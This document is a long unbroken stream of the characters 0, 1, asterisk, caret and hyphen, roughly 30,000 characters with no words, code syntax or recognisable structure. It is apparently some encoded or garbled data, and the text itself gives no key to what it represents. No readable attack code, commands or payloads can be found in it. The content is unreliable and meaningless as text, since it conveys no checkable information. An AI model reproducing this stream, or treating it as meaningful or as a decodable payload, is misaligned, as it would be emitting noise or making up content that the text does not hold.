*010^11*^-11*^10^-11*11**-*00--------0^-1*-**1*-11*--------1*101*0-00101*001^1*1*1*-11*********^1*0^-001**00--1^11*^1*0--------11*11*0-00101*001^1*^1101*****00--0--001*00^1^^-101*-*001*1*1011**011*0101**1*******11*110110-^1**--------1^-1*-*0-*--------11*001*-00101*001^1*1*^1*****01**00110101**1*11*001*1*********-1*0^-001**00---101*^1*0--------1101^1*-00101*001^1*01011*1011*001101**********-11*********101******1***11011********01101101********0-0-********010110-********10110-*********0^1*****01**010101*********^10101********10110-********0101*********0101^11*****01**0^1*1********01*01*****001**0110101******1***10-*****001**0010^1*********11011****************01***10101********010101*101*10101*001*1*101*001^1*-01*0101*01^1*001*******-1*10--0^1*01^1*001****01**001**0--*01*01^1*001*******010101010--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1*******0011******01**0^1***00101***1^1^1****1010^-----10--1*-*00-00101*001^1*0-*0-11*-----10--11*001*0-00101*001^1*1011*0-11*--------0^-1*-001101*0-11*-----10--11*101*0-00101*001^1*0101*0-11*********^1*0^-001**00--^-*^1*0-----10---*11*0-00101*001^1*11011*1011*0-01*--------1^-1*-0011011*-----10---00-*0-00101*001^1*0^1*-11*********^1*0^-001**00--101101*^1*0-----10--1101*01*-00101*001^1*01011*1011*011011*0101*0110101******1*1011*10^-**001**1*******01*11*-1^1**--------1^-1*-*1011*-----10---*101*-00101*001^1*1*^1*****01**00-011**^^1*01*1*********-1*0^-001**00--101011*^1*0-----10---0-01*-00101*001^1*-01*1011**011*0101**1*******01*110110-^1**--------1^-1*-00-01*-----10--10^1011*-00101*001^1*00101*-11*********^1*0^-001**00---101*^1*0-----10--^^-*-00101*001^1*1*1*-11*1011*0^11*1101*0011*00---------10-*-001*^110^^-11**1*01*1*-----10---0-11*-00101*001^1**01*-11*********^1*0^-001**00--1*11*^1*0--------1011**0-00101*001^1*-1*0-11*1011**-*--------00110-*-00^110101010-0-11*1*^1^11010-11*011*001*1*--------10^1*00-00101*001^1*10-**********1***010-**11*00--------^10-*-00^1101******11*101****1*010^-001^-11*-*001*1*--------001*1*0-00101*001^1*^1*0-11*********^1*0^-001**00---011*^1*0--------0110101*0-00101*001^1*0011*0-11*1011*001011*0011*001********101*0010-0110101******110^1*0101********0010^-*001********001010^1*00^11**-*00--------0^-1*-*011*0-11*----------1*0-00101*001^1*1^1*-11*********^1*0^-001**00--1^11*^1*0--------1*^1*-00101*001^1*^1101********0010-01*00^1*^1011*10-11*011*001*1*1011*001101*********^11011********101101******1***0-********001*0011********00101101*********1^1********00101******01**01011011********0-^1*****001***^11*****001**01101101********01*-*****001**001*01********01011*1****************1**001*01*****001****1******1**001101******01***01*********001010-*****01**001*01********010101*101*10101*001*1*101*001^1*00-*^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--0-*001^1*001*******010101010--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0-101******1**0-10-**00101***1^1^1****1010^-----10--1^101*00-00101*001^1**11*-----10--11*11*00-00101*001^1*^1101*****001*1**00-*00^1^^110-*^1*01*1*--------0^-1*-*-*0-11*-----10--1^^1*0-00101*001^1*^1101*********-001*00^1*^-011*-11**1*01*1*********0^1*^-001**00--^-*^1*0-----10--^^11*0-00101*001^1*1101*0-11*1011*0-01*--------0^-1*-001101*0-11*-----10--10110-*0-00101*001^1*1*1*-11*********^1*0^-001**00--101101*^1*0-----10--1*1*1*-00101*001^1*00-*1011**-*--------0^-1*-00-1*0-11*-----10--1^1^1*-00101*001^1*01101**********1***010-**11*00--------^10-*-00^1101*****0011011*^101**01*010^110110110-11*011*001*1*-----10--1*-01*-00101*001^1*10-**********1*0^-001**00---011*^1*0-----10--1^^11*-00101*001^1*^1101******01*-*001**1*010^-*010-11*011*001*1*1011*011011*0101*0110101******1*1011*10^-**001**1*******01*11*-1^1**--------1^-1*-0011011*-----10--11*-1*-00101*001^1*0101*0-11*********^1*0^-001**00--101011*^1*0--------11***-00101*001^1*^1*0-11*1011*001011*0011*001********101*0010-0110101*******^1*0101******11**001^11*001******11**011*11*00^11**-*00--------0^-1*-00^1*0-11*--------001101*00-00101*001^1*0-1**********1*0^-001**00--1^11*^1*0--------10-1*00-00101*001^1*1011*0-11*1011**011*0101**1*******01*110110-^1**--------0^-1*-001011*0-11*--------0110101*0-00101*001^1*00101*-11*********^1*0^-001**00---101*^1*0--------*1011*0-00101*001^1*1*^-010^-11*-*001*1*1011*0^11*1101*0011*00--------^10-*-00^1101*****001*1*11***001*010^-1*10-11*011*001*1*--------*1*1*-00101*001^1*-1*0-11*********^1*0^-001**00--1*11*^1*0--------0101^1*-00101*001^1*0-*0-11*1011*001101*********0110101****************01**011*11*****001**0011011******1***-11********0101101******1***10-*********01011*****001**01*001*****001**01*001********0010-01********01*101**********01********10--*****01**010-*********00-011********10-1*********0-011********1101*********001*******01**01^1*********10101*101*10101*001*1*101*001^1*1^1*-11*^1*01^1*001****01**0^110^--*01*01^1*001*******0-11010--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1******00-01******1**0--11**00101***1^1^1*********010101*01*******00^11010-1^11********001101^-0011********010^11**--101**01**0101******0011*01*0101*1**001*******10^11010-1^101*******00110^--001*****1101*01^1*********1***-*^1101********--------0011**0-00101*001^1*0-1*01010^11011******01***10-0-*00--------11011**-00101*001^1*11011010^1*0-11*1*^1*****01**01****1*001*01*1*--------1^-1*-*0011*--------1^11*00-00101*001^1*01011**********1*010-^^110^10110^101*0-11*^1**01*******1101*0-0-*001*011*******1**110^1**^1011******001***1^11*001*101**011010-01*011*00--------1101101*0-00101*001^1*^110101*^1*********1^1*001*001*01*1*1*^^101*-11**1*01*1*1101*00101******00101*00-1011011011******011**0011*101**--------00-11*0-00101*001^1*00-*1101**101*--------10110-*-*101101010-*1*^11*-0-11*-*001*1*--------0^^1*-00101*001^1*10-**********1*********01**0101*101*01^11*00^1101*101^-11*1*011*1*0011**--------11010101*-00101*001^1*110110^-1*1*^11*1^-11*011*001*1*0101*001101*--------110-01*-00101*001^1*-01*01^1*11*******010^1*001011********0-011********00-*********010101101********0-1*********11*01********00-011********00-1*********00-001*******************-0101********0-*********0101^1*********11*0101*10101*001*1*********101*1*0-*001*01^1*001****01**001**0--0-*001^1*001****01**0-010^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0101101******1**010101***00101***1^1^1******0-----10--10^-1*-*01*001^1*10-*01010^-*00--------1^-1*-0010-*--------01***-*01*001^1*1101101*-00--01*^110-11*0101101*10^--110-11*001*******-1*10--01*^10^1010-11*001****01**001**0--00^1010-11*001****01**001**0--001011*1*^-010^-11*011*001*1*********010101*10-0010-01*011**1*0--------001011*00-*01*001^1*^1*0-11*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------^^1*0-*01*001^1*01101*1101*00101******0010110--1011011011******011**0011*101**--------10-01*0-*01*001^1*^1101******1011010-00101*001*010^1********0101^1*001*001*01*1*1101**1*00--------^10-*-00^110101*^--110-11*-*001*1*1*^1011*10-11*-*001*1*--------001*01*-*01*001^1*^1101********010-101*00^1*^1********11*-*001*11*001*1*********10101*********1**0101*101*01^11*00^11010^^10-11*1*011011**001*00--------01010101*-*01*001^1*10-*0101*001101*--------00101101*-*01*001^1*1*^1*****01**0-***0^101*001*1*01^1*11*******^^1*001011********0011011********01010101********01010^1******************00-11*********10101*********-^11*********1*1********101^11**********01********101^11**********01********0011*0101*1*1*001*1*********001^1*0-*001*01^1*001*******010101010--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1*******1101******1**0011011****01**001^1^1***00--------11011**-00101*001^1*-01*01010^-*00--------1^-1*-00-01*--------110101*00-00101*001^1*1101*0-11*********^1*0010-0010-01*011*^1*01011**011010^1**01*0--------**1*0-00101*001^1*^1101*****00-^1*0^11*001*010^10-0010-11*-*001*1*1011*00101101010^1*001**11*******1**0-1011*001*101**011010-01*011*00--------*0011*0-00101*001^1**11*1101*00101****1**010^--1011011011******00-**11*-**11011******011**0011*101**--------010-1*0-00101*001^1**11*1101**101*--------1^-1*-*1101*--------0101*1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^110101*0110-11*1*011*1*00101*00--------00^101*-00101*001^1*-01*0101*001101*--------0-0101*-00101*001^1*^1101******-**01^1*00^1^^1*****01**00^^1*001*11*001*1*01^1*11********^1*001011********00^101********11011*********101*1*******************01^101********00^101********1011*1********^1*1******************00^1011********010^1********00-^1*********11*0101*10101*001*1*********0^101*0-00-*001^1*001*******-1*10--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0110101********00--11**0011***01^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*******************0--******101*********001**010101******011**11010-********01********************001*101*****0011**00-01******1**0010-1*********1011********001**1*******0010101*********^1******0011**0-001******1**01^-*********1011*******************************101******1**^-11*****001****01********^-1********001*********************01^1******1***10101*****001**10-*********1101*1********01********-1101*001***010101*01*001*1*-----1010-110101**0-00-----10---00-1*-0011011*1^1*00-*--------^10-*-00^110101*^11*1^-11*0-1*1*1*1*^^110110-11*0-1*1*1*--------1101**0-0011011*1^1*^1101********101101**001*010^1*****001**-0101**1*011*01*1*********10101*^-001**00--1^11*-*001*1*--------010101*00-0011011*1^1*11011*-*001^1*-01*--------01^-*-00^1101*****00^1010101*01**1*010^1********01*001*00^10-*1*1*--------*^1*0-0011011*1^1*^1101*10^-110^-11*0011*01*1*0010^-110^-11*0011*01*1*********0^1*^-001**00--101101*-*001*1*--------00^11*0-0011011*1^1*10-*-*001^1**11*0101*00101****1**0-110-^-0011****011**1*-*0101*-**^^^1010^101**001*-1*******************00101*001*0^--------^10-*-00^1101******1011*00101101*00^1^^-001^-11*00-*1*1*--------^1^1*-0011011*1^1*-01**********1*0^-001**00---101*-*001*1*--------11010101*-0011011*1^1*^1101********0-*11*00^1*^1********10-011*00^-1*01*1*-*001^1*^11*010101*1101*********01**********1101^1********01011*********1*011********0010^11********1*011********0-01011********1101^1********************^1********0^1011********00-1**********^1********1011*0101*1011011*1*1*11011*1^1*01011*00-0110101******001^^-1101^11*001*1*--------1^-1*-00-01*--------0^1011*-00^11*1^1*11011**********1*0^-*11*001*1*********10101*********10101********************0-*********00-*********10101*********011*00101*10^11*1*1*^11*1^1*^11*********--0010-0---------^-1*-*0-*-----10--1^-11*-00-01*1^1*^110^1101010-11*1*^1********-01011*00^10101*1*1*********0^1*010-*101****1**011*--101^11*001*1******01**010-11010-01^1*001^1*-01*--------01^-*-00^1101*******-00^101**1*010^1*****001**01^1**01*011*01*1*--------0^11*00-00-01*1^1*^11**********1*0^-*101*******01*00-101^11*******00101011*10^^-*011**^10--001*00^^11*110^10-11*0101*******01*10-101^101****1***^--101^11*******00101011*10^^-*011**^101*0^1*00^11011*00101^-11*^1*0--------1^-1*-0010-*---------1011*0-00-01*1^1*-01**********1*0^-00110101******11011**101*1011*-11*1011*0-11*011****011**1*-*0101*-**^^^1010101101**00^^11*******************001011*01*0^110101******01^101*101*********-1011*001********00-1*1*00^110101******00-**101******1***0011**01******1***1***01*11*******00101011*10^^-*011**^10^10^1*00^-01**********0^1*00^^1*01011*00101****1**001*--101^11*001*1*********^-01*-*********1*-********0-1101********101*********001011*********001*-********01101101********0011011*********11011*******************^1*0101*10-01*1*1*-01*1^1*01101*011*001^1*110101******110-1*0101******11**10-1**01******11**10^1**0^110101******10-1*00101******11**-*11*001******11***00-*001*101****1**00-10-^-0011****001***1^1*101*1101*01*11011**10-001**11*001*0101*011****01**01*001*0101*0101*11011010^1*0^^-1^11**^10-*00101*00-0110101******001^^-1101^11*00--------01^-*-00^1101*****00--**^1*001*010^1********00-001*001*011*01*1*--------001^11*-*0101*1^1*1*^1*****01**00-011**^10101*1*1*********-1*0^-*11**********-01*********-01********************0101*********00101*********00101*********11*00101*1*101*1*1*00101*1^1*^11*********1*101010-011*****001**10--10-01^1*001^1*-01*01^1********00^1*010-01^-0110101******001^^-110110-*00--------10110-*-00^11010-01*1*^-110110-11*0^1*1*1*--------011*11*-001*1*1^1*^1101******01010-0101**001*010^1*****01**0-10-*001*011*01*1*********10101*^-00-********************0-001********00101101********00-001********00101101********00-001*********11*00101*101*1*1*1*1*1*1^1*11011**********0101010-01^-0110101******001^^-110110101*001*1*--------01^-*-00^110101*^1********11010-*00^-1*01*1*1*^^10-0-11*-1*01*1*--------0^1011*-*-*01^1*01011**********1*0^-00101*001*1********************1*1*******************0^101********00^101*******************0011*00101*^-*01*1*0-*01^1*01101*********001^1010-0---------^-1*-*1101*-----110--0^-1*-001101*01^1*^1*0-11*********^1*0010-*101****1**011*--10110101*001*1******011**001^-0-01^1*001^1*-01*--------1^-1*-00-01*-----10--110101**-001101*01^1**11**********1*0^-00110101******0010^1*101*********11*11*001********0010101101*001*11****001***1^1*10^10-*01*11011**10-00^101011*001*0101*110101******01^101*101******11**-00101*001******11**0110-1*00^110101******0101**0101********00-11011*001*********-1101*001*11****011**1*-*0101*-**^^^101010101011**^10-********************011*01*01*001*0--------1^-1*-*0011*-----10--10110-*0-001101*01^1*^11**********1*0010-00110101******11011**101******01**110-01*001******01**00110101*001*11*******011**0010^10-*-*0010110101**1^--*001********0010110-*00^110101******110-*00101******1***10101**1******1***0-1**^110101******01^101*101********00-01101*001*********1^-*00^110101******0101**0101******1**001011011*001******1**0110-01*001*11*******011**00101*0-*-*0010110101**1101010-*001*1101**1*0--------1^-1*-*0011*-----10--101*-*-001101*01^1*^1101*****00-*1*0^11*001*010^1*****01**011011**001*011*01*1*********10101*010-00110101******11011**101******01***1011**1******01**--1**1*11*******00101011*10^^-*011**^10101010101*00^11011*0-*0-11*110101******-1*1*101******11**1*1**001******11**0^101**^110101******01^101*101******11**01011**001******11**110^1**^110101******0101**0101******1**010101**001******1***10-**1*11****011**1*-*0101*-**^^^1010-11011**1*0011*******************00^1*01*01*001*0--------1^-1*-0010-*--------*0011*0-001101*01^1*11011**********1*0^-00110101******0010^1*101******1****011*001******1**01^1101*001*11****001***1^1*10^-01*01*11011**10-00101010101*001*0101*110101******110-*00101**-0-11*00-010-11*110101******01^101*101******11**1^^1*001******11**01*011*00^110101******0101**0101******01**00-**001******01**10-11**1*11*******011**0010^^11*-*0010110101**--0-*001********001011*1*001*001**11*00101****1**001*--10110101*001*1******01**01*0011*-****************001**01*0-*****01**00-1101********1*-1*****01**0011*11********1^-********01011******001**010-01*****001**00-1101*****01**0011*11********101*********001101*0101*101101*01*1*1101*01^1*0101*0-11*101*001^1*110101******110-1*0101******11**01*11**1******11**010-1**^-*001101*0110101******0-**0101*********0^101*001********00-01011*001*11*******101*00-10^^-001**00--1*11*-*001*1******0101*001*-1*-00-*001^1*01101********************001**********01**********01**********01*********0101*00101*10^1*01*1*^1*01^1*01011*0011*01^1*001*******010101010--0-1*01^1*001*******0-11010--00^1*1^1*001****01*****0--010101*1^1*001****01**001**0--00-1*1^1*001****01**0-010^--010-*1^1*001*******-1*10--*-*1^1*001****01**0^110^--001101*01^1*********1***-001*1******0010101******011*00-0101***101***1^11011*********010101*1101*--------0^-1*-00^11*-11*------0-1^110-*-*11*001^1*-1*0-11*********^1*0--00^101^-*1011*00-*00------0-110--1*-*11*001^1*01101*1101**011010-01*-*00-----^--0101**0-*11*001^1*10^^-11*-----^--1^1**-*11*001^1*^1101********0-^11*00^1*^1********-10101*001*101*01*1*--------0^-1*-*-*0-11*-----^---101*00-*11*001^1*00-**********1*0^-001**00--11011*0-11*001*001*1*-----^--01*01*0-*11*001^1*11*^-11*001*001^1*-01*--------00110-*-00^11010-^10-11*1*^1^10110-11*1101*01*1*-----^--1101101*0-*11*001^1*0-1**********1*0^-001**00--101101*001*001*1*-----^--1011011*0-*11*001^1*00-*-11*001*001^1*11011*01*101011****011**0011*1*101*^11*1*110101^1^110-*001********************11*01*01*1101**11**1*0--------0^-1*-*0-*-11*-----^---0^1*-*11*001^1*1*^110110^-11**1*01*1*********0011*0^-001**00--101011*001*001*1*-----^--10110101*-*11*001^1*11011*001*001^1*0011*0-11*--------01^-*-00^1101*****00-0-00^^1*001*010^1********0-0-*00^1011*01*1*-----^--001^11*-*11*001^1*^1101******01011*0-101*001*010^1*********10101*00^-*001*1*********10101*^-*11****011**--01*101******01**--1**1******01**01011**00^11**0^1*--------^10-*-00^1101*****00110^10--**0^1^^--110-11*0011*01*1*-----110---**00-*11*001^1*1*^-1*10-11*1101*01*1*********0011*0^-001**00---01*0-11*001*001*1*-----110--0-1**-*11*001^1*1^1*-11*001*001^1*1011*0-11*01010^-01*--------0^-1*-001^1*-11*-----110--001011*00-*11*001^1*^1101*110^-11*1*^1********001*11*001*101*01*1*********0^1*^-001**00--^11*0-11*001*001*1*-----110--1*101*0-*11*001^1*01011*-11*001*001^1*00-*01*101011****01**01*001*0101*0101*11011010^1*0^^---**^^11*00101*^11**1*0--------0^-1*-*1011*-11*-----110--0010-*0-*11*001^1*1101*0-11*********^1*0^-001**00---011*001*001*1*-----110---*01*-*11*001^1*0^1*-11*001*001^1*^1*0-11*1101*001101*--------10110-*-00^1101*001010-11*1*^110-*0101*01*1*-----110--01*101*-*11*001^1*01011**********1*0^-001**00--10-1*001*001*1*-----110--00101101*-*11*001^1*0-1*-11*001*001^1*^11*01*101011****011**0011*1*101*^11*1*110101^110^-1*001*******************0011*001*01*1101*01101**1*0---------10-*-001*^1^10^-11**1*01*1*-----110--1*0-*-*11*001^1*00^^-11*********^1*0^-001**00--1*11*001*001*1*-----110--0010-1*-*11*001^1*^11*001*001^1*1101*0-11*1011*0011*******101*1*0101*101^-1**11*00--------00110-*-00^110^101*0-11*1*^1**10-11**1*01*1*-----10--101101**-*11*001^1*1*^-0-10-11**1*01*1*********0011*0^-001**00--10101*0-11*001*001*1*-----10--1101101*00-*11*001^1*10-*-11*001*001^1*01011*01*101011****01**01*001*0101*0101*11011010^1**0^-011*1*001*1011*00101*-01**1*0--------0^-1*-0010-*-11*-----10--1*0101*0-*11*001^1*^1101*****00^10-*101**01*010^1********01^101*00^-*001*1*********10101*^-001**00--1^11*001*001*1*-----10---11011*0-*11*001^1*^1101**********101*00^1*^1********10101101*001*101*01*1*001*001^1*10-*01*101011****011**0011*1*101*^11*1*110101^11011*01*001********************01*01*0^11011*01011**1*0--------1^-1*-*0011*-----10--^^101*-*11*001^1*0011*0-11*********^1*0^-001**00--^-*001*001*1*-----10---101101*-*11*001^1*01*^-11*001*001^1*0-1*0101**01*0--------01010-*-00^1101011011*1*^1********11010-*00^^1*01*1*-----10--^101011*-*11*001^1*00101*-11*********^1*0^-001**00--110-*001*001*1*-----10---^-*-*11*001^1*1*^1*****01**0-0^1*001*001*01*1*001*001^1**11*0011*01*******0011**1011*-011*--------1^-1*-00-01*--------011**00-*11*001^1*01101*-11*********^1*0^-001**00---101*001*001*1*--------^11**-*11*001^1*^1101*****001010-00101^1*001*010^1*01^-11*-*001*1*001*001^1*0101*0-11*---------101*00-*11*001^1*01101*--------0^-1*-0010101*-11*--------0-11*00-*11*001^1*10-**********1*0^-001**00--1^1*0-11*001*001*1*--------1*101*0-*11*001^1*0-*0-11*001*001^1*01101******001**101^11********0011******001**0011*01*****011**11011*********01^101*****001**00^101*****001**0^11******01**--******1**0^10101*****01***0011******01***0-1****************01**0011******001***10101********00-01******01**01^11********010-01*********1*1*********01^1*****001**--******1**001101011*****001***011******1***101******011***-1*****0011**010^1********001^101********--01*****01***00-1*****011**1^101*****0011**010^1*****0011**-1*********001^1******11**101011******01***01101*****01**0-*11*****01**0^1011********00-0-********0110-*****0011**-1101********0-00^101*^11*001*1*011*001^1*11011*-11*1011*01^1*001*******010101010--*11*01^1*001****01**0^110^--01101*01^1*001****01*****0--00101*01^1*001****01**0-010^--0^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--001101*01^1*********1***-001*1******0^101******001*00^1101***-***1^1^1*1*******0010101*011*001**0-1*0010^11**00101*1************01*1**********001010^-*00-----10--^10^1*-00--------0110-*0-*011*01^1*0101*0-11*--------1^-1*-*1011*--------101*01*-*011*01^1*11011**********1*0^-001**00--1*11*001*001*1*---------0^1*-*011*01^1**11*001*001^1*-01*--------1^-1*-*0011*--------*10101*-*011*01^1*^1*0-11*********^1*0^-001**00--101101*001*001*1*--------110-01*-*011*01^1*1101*0-11*001*001^1**11*010101*1101*********0-**********01101********0-001*********1*******************************0010^1********01^101*******************0^11*******************00^11*********011*0101*1*11*01*1*0011*01^1*^11***********0010-01101^1*********11*0010-011********10-00110-0-101*0-01*--------01^-*-00^1101*****00--1^1011**0^1^^1********-01011*001*101*01*1*--------*1101*0-*001*01^1*^1101*****00^11*010^11*001*010^1********10^-*00^^1*01*1*********10101*00-1*10101^101*0-11*^110^11**11****001**^1^1*101*1010110-11*10-010-11*11**0^1*--------01*001*-*001*01^1**11*1011*0011*******01101**101******1**0--01*001******1***001101*001*11********01101*101******1**0101*11*001******1**0-10101*001*101*0-11*--------11010101*-*001*01^1*11011*0101*0011****001**^1^1*101******01**00101**001******01**11*1**01*1**0^1*0011*0011*******01101**101******1***0-11*001******1**0-0-1*001**********^1*********0^1*******************10101*******************0-0^1********1^101*********00^1******************00^1*0101*1*01*01*1**1*01^1*01101******01***011*^-001**00---101*001*001*1******01**0-0011*0-*01*001^1*01101*********11***********1**********01*********************1*********0101*00101*^11*001*1*011*001^1*-01*0101*01^1*001****01**0^110^--0^1*01^1*001*******010101010--001101*01^1*********1***-001*1*******0101******1**0^10101***01***1^11011*1*******0010101*011****011*0-00-1***010^1************01*1**********001010^-*00-----10--10-0011*-00--------0-101*0-00^1*01^1*^1101******01101010^1**001*010^10^1*-11*1101*01*1*--------^10-*-00^1101*011*-11*1*^1********1^1011*001*101*01*1*--------**01*-00^1*01^1*10-**********1*0^-001**00--1*11**1*0--------1*^1*-00^1*01^1*01101*0011*0-01*--------1^-1*-*1101*--------1*0101*-00^1*01^1*^110101*0^-11*1*^1********0-^1*00^-*001*1*********0^1*^-001**00--101101**1*0--------00-101*-00^1*01^1*1101*0-11*0011**011*010101*1101*********1011*********001**********1101011*******************^1101********00-01**********-********01011********************1101011********00-01*********00-*********011*0101*10^1*01*1*^1*01^1*0-1***********0010-01101^1**********110110-0-101*0110101******11011**101********00^^11*001*********-1011*001*11*******011**0010^11011*-*0010110101**-1^1**01**0010-11*011*00--------10110101*-*11*001^1*^110^--0-11*1*^--^-11*-*001*1*0101*0110101*******1*1*101**********0-*001********0010-011*001*11*******00101011*10^^-*011**^101**1**1*0-**********1^1*001*101****1**01*110-00-*********1011********************1011******************************001011*********11*00101*^11*001*1*011*001^1*01011*********011*-00-001**00---101**1******001**0101101*00-*011*001101******************************0-********************001**********101*00101*1*1*001*1*001*001^1*-01*-*001^1*001****01*****0--01101*01^1*001*******010101010--00101*01^1*001****01**001**0--001101*01^1*********1***-001*1******0-001******1**01010-***101***1^11011*1*******0010101**1*01**001*110-010101**01101*************01*1********1010^-***************************************************************101*00101*1*11*01*1*0011*01^1**11***********0010-0-101*0011**1^1*********001*010-0-101*0011*00--------1^1101*-*101*01^1*-01*01^1*11*******011*1*0101***00^1*110101******0011011*0101******11**11***001******11***1011**1*11****01***00-1*101*********1^101*001********0011*-*001**********11*********1^1******************************0-01*******************0011*00101*^101*01*1*0101*01^1**11*--------11011**-*01*001^1*^1101******110-10101*1*001*010^-01*0-11*-*001*1*********0^1**-00--------^10-*-00^1101*****00-0^-0-1**1*010^110110110-11*011*001*1*--------01*01*0-*01*001^1*0-1**********1*0^-001**00--1*11**1*0--------1^101*0-*01*001^1*^1101******0-110-1101**^1^^1********01101101*001*001*01*1*0011*0-01*--------01^-*-00^1101******--0-11**001*010^1********001*01*00^-*001*1*--------10-11*0-*01*001^1*^1101******110-00101011**1*010^1*****001***0101**1*11*001*1*********10101*^-001**00--101101**1*0--------1101^1*-*01*001^1*11011*0011**011*0101*001101*--------1^-1*-0011011*--------10110101*-*01*001^1*0101*0-11*********^1*0^-001**00---101**1*0----------01*-*01*001^1*1*^-010^-11*101*001*1*0011*001101*********01^1*********10-1********01101^1********11*11********00-*********00^11**********0101********010-1********0010-1*******************0-*********01101*0101*1*1*001*1*001*001^1*-01**1*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******001^1******1**00101*1***01***1^11011*********010101*1101*-----110--110-*00-*011*0^1101*********1*01*00^1*^1**10-11*101*001*1*-----110--001^1*0-*011*001011*--------01010-*-00^1101*****0010101011*1011**1*010^-^^-11*-*001*1*-----110--11*11*0-*011*0^1101******1*001010^11*00^1^^1*****01**0^10101*001*001*01*1*********00101*^-001**00--110-*011*00-----110--**01*-*011*00-1*0101*0-01*---------00-*-00^1101*****00110110^11*1**1*010^1*****01***00-**1*11*001*1*-----110--00-001*-*011*010-*-11**********1*0^-001**00--101101*011*00-----110--10110101*-*011*011011010^11*1*^-01*0-11*^1*01*1*0101**-*01010^-01*--------0-0-*-00^110^1*^-11*1*^10110-0-11*^1*0-----110--010^11*-*011*0^1101011*010-11*1*^1********00^101*00^^1**********001*^-*11*******11*01*010^--------1^-1*-001101*0-11*-----110--11010-*-*011*010101*-11**********1*0^-001**00---011*011*00-----110--00--*-*011*01*^1*****01**001*001*001*01*001*1*0101*001011*01010^-01*--------1^-1*-001*1*-11*-----10--110101**-*011**011*********-*00^-*11*******1*001*010^--------1^-1*-*1011*-11*-----10--1101101*00-*011*0^1101******010-*10101**^1^^1********10110-*001*001*01*1*********00101*^-001**00--1^11*011*00-----10--1010^1*0-*011*0^1101*****0010^1*101***1*010^1********10--*001*11*001*1*0101*010-*01010^-01*--------*0-1*-001*^-110110-11*101*001*1*-----10--^11011*0-*011*0^1101*****00101010-10-1**1*010^1********10110101*00^-*001*1*********00101*^-*11*******001*1*010^--------1^-1*-0011011*-11*-----10--11*^1*-*011*0^1101011011*-11*1*^1********0-0011*00^^1**********001*^-001**00--^-*011*00-----10--101010101*-*011*001101*-11*0101*0^11*01010^-01*---------00-*-00^1101******001011010110-*001*010^1*****01**001101011*001*11*001*1*-----10--1^^11*-*011*0^1101*-*1*^1********0^1011*00^101*001*1**********01*^-001**00--1*11*011*00-----10--101*-*-*011**011*-11*0101*011011*01010^-01*--------1^-1*-0010101*-11*-----10--11010-1*-*011*00-1*-11**********1*0^-*11*******01*01*010^--------1^-1*-*0011*-11*--------0-**0-*011*0^110101*^101011*101*001*1*1*^^-110-11*101*001*1**********01*^-001**00--101011*011*00---------001*00-*011**-*-11*0101**011*--------10110-*-001*^1*****01***1011**01*01*001*1*--------0-11*00-*011**11*0-11**********1*0^-*11*********1*010^--------11010-*-00^110^1010110-11*1*^1********-00101*00^^1*0---------1101*0-*011*0-01*-11**********1*0^-001**00---101*011*00--------*0-*0-*011*0-1*0-11*0101*001101*********0-*1********0011*1*****01**01*-1********1^101*****001***0011******1**00--*****001***10101*********01^1********010101**********1011*****01**00110^1*****01**00-011****************01***-101********1^-*****001**001011******001**0-01*********01*11*********0-1********^^1*****001**0101^11*****01***-101*****01***011******01**0010-11*****001**-001******1**00-1101*****01**01*-1*****001**--*********11*11*****01***11011********00101******001**00--**********^101*1*01**11*01^1*-11*^1*01^1*001*******0-11010--*01*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01*****0--*1*001^1*001****01**001**0--01011**1****01**0-010^--001101*01^1*********1***-001*1******010^1******11**1*****001***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11******010101*01*******11011010110-1*1*******^11010--10-----10----001*-*011*00-*0-11*-----10---^101*-*011*0^11*--------1^-1*-*011*0-11*-----10--110101101*-*011*0^1101*****001*1*11*-*00^1^^110-**1*01*1**********01*^-001**00--1^11*011*00-----10--10-0011*-*011*0^1101010-00--01********0^10101*00^-110101^^10-*0-11*001****01**0^110^--01^^1*****01**01*0101*001*01****01**0^110^--*****001**01*0101*001*01****01**0^110^--********010101011*00^1*^110101^-11*-*001*1*0101*0-01*--------1^-1*-*101*0-11*--------1011**0-*011*010-*********-*00^-001**00--101101*011*00--------10-**-*011*0^11010^11010-11*1*^1********01101101*00^101*001*1*0101**011*--------*0-1*-001*^11*0110-11*011*001*1*--------010-*00-*011*001101*********-**10-*11*******010-*00101*01*******^11010--10--------10110-*-00^1101*0-10-11*1*^110^110-11*101*001*1*--------10-01*0-*011*00-1*********-*00^-001**00---101*011*00--------1011011*0-*011**-*0101*0^11*010-^101****1**001*10-00-0011****01**001101011*101******01**-00-*001******01**110-01*00^--------10110-*-001*^1*****01**0-***01*01*001*1*--------*1^1*-*011*0^1101*****00^10101101*1**1*010^1********01*001*00^^1*********01^1*^-001**00--1*11*011*00--------00101101*-*011**11*0-11*0101*001101*********0101******001***001******01**0-01**********0-1*********0-1*********0-1********0-011*********0-01********1*101********01*0101*****01**0-11******01**0-11*********1^11*******************00-*1********-1*0101*1*01**11*0-01**1*01^1*001****01**0^110^--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--0101*001^1*001****01*****0--*1*001^1*001*******0-11010--01011**1*******-1*10--001101*01^1*********1***-001*1*******^1******1**00-^1***001**001^1^1*1*******0010101**1****-0110-011****0-001************1*1**********0010101*11************010-0110101*001101*01^1*********001*010-0110101*0^110^11*******10-1*00101*11****01***-001*101******01**10110-*001******01**10^101*00^--------110-1*0-001011*00-1*********-**00-00--------0010-1*-*1011*--------1011*1*-001011*0-01*********-*00^-001**00---101*-*00--------10-001*-001011*011011*1101*0-01*---------00-*-00^1101********0-11011*00^1*^1*****01**01^11**0^101*001*1*--------^-01*-001011**011*********-*00^-001**00--101101*-*00--------^^11*-001011*01*^-110110